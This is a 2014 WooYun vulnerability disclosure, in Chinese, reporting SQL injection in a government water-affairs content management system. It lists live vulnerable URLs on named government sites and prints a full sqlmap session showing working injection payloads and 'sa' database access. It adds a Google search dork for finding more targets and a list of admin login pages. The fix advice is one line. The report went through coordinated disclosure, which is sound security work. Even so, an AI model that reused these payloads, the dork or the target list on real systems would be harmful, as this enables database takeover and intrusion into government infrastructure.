当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-065830

漏洞标题:某政务系统通用性高危注入

相关厂商:某政务系统

漏洞作者: 郭斯特

提交时间:2014-06-26 17:47

修复时间:2014-09-24 17:48

公开时间:2014-09-24 17:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-26: 细节已通知厂商并且等待厂商处理中
2014-06-30: 厂商已经确认,细节仅向厂商公开
2014-07-03: 细节向第三方安全合作伙伴开放
2014-08-24: 细节向核心白帽子及相关领域专家公开
2014-09-03: 细节向普通白帽子公开
2014-09-13: 细节向实习白帽子公开
2014-09-24: 细节向公众公开

简要描述:

没有过滤参数

详细说明:

列举一部分...
http://zjswater.gov.cn/ContentDetail.aspx?typeid=9&sid=37
http://fxkh.pearlwater.gov.cn/ContentSubList.aspx?typeid=1&sortid=15
http://www.gdxjwater.cn/SurveyResult.aspx?id=1
- -这里是可以dump出数据的(win下dump不出。。bt5亲试可以!)

16.png

14.png

15.png

漏洞证明:

sa权限 dba权限 可以直接os-shell

H:\Users\ghost\Desktop\sqlmap>sqlmap.py -u "http://fxkh.pearlwater.gov.cn/Conten
tSubList.aspx?typeid=1&sortid=15" --current-user
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:29:28
[14:29:29] [INFO] resuming back-end DBMS 'microsoft sql server'
[14:29:29] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: sortid
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: typeid=1&sortid=15 AND 2626=CONVERT(INT,(CHAR(58) CHAR(111) CHAR(12
1) CHAR(106) CHAR(58) (SELECT (CASE WHEN (2626=2626) THEN CHAR(49) ELSE CHAR(48)
END)) CHAR(58) CHAR(112) CHAR(113) CHAR(113) CHAR(58)))
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: typeid=1&sortid=(SELECT CHAR(58) CHAR(111) CHAR(121) CHAR(106) CHAR
(58) (SELECT (CASE WHEN (9909=9909) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) C
HAR(112) CHAR(113) CHAR(113) CHAR(58))
Place: GET
Parameter: typeid
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: typeid=1' AND 6512=CONVERT(INT,(CHAR(58) CHAR(111) CHAR(121) CHAR(1
06) CHAR(58) (SELECT (CASE WHEN (6512=6512) THEN CHAR(49) ELSE CHAR(48) END)) CH
AR(58) CHAR(112) CHAR(113) CHAR(113) CHAR(58))) AND 'UJsc'='UJsc&sortid=15
---
there were multiple injection points, please select the one to use for following
injections:
[0] place: GET, parameter: typeid, type: Single quoted string (default)
[1] place: GET, parameter: sortid, type: Unescaped numeric
[q] Quit
> 0
[14:29:31] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2005
[14:29:31] [INFO] fetching current user
[14:29:31] [INFO] resumed: sa
current user: 'sa'
Google批量:
inurl:ContentDetail.aspx?typeid=

17.png


默认后台是/login.aspx
http://www.zjswater.gov.cn/login.aspx
http://stbc.digitwater.com/login.aspx
http://shuili.enping.gov.cn:8000/login.aspx
http://www.gdxjwater.cn/login.aspx
http://61.143.61.242/login.aspx
http://stbc.gdwater.gov.cn/login.aspx
http://oa.gdxjwater.cn/login.aspx
http://fxkh.pearlwater.gov.cn/login.aspx
http://59.42.107.154/login.aspx

修复方案:

过滤参数~

版权声明:转载请注明来源 郭斯特@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-06-30 22:23

厂商回复:

CNVD确认并复现所述多个实例情况,根据测试实例,暂认定为某部门系统内的定制开发系统,已经转由CNCERT下发给广东分中心处置。rank 20

最新状态:

暂无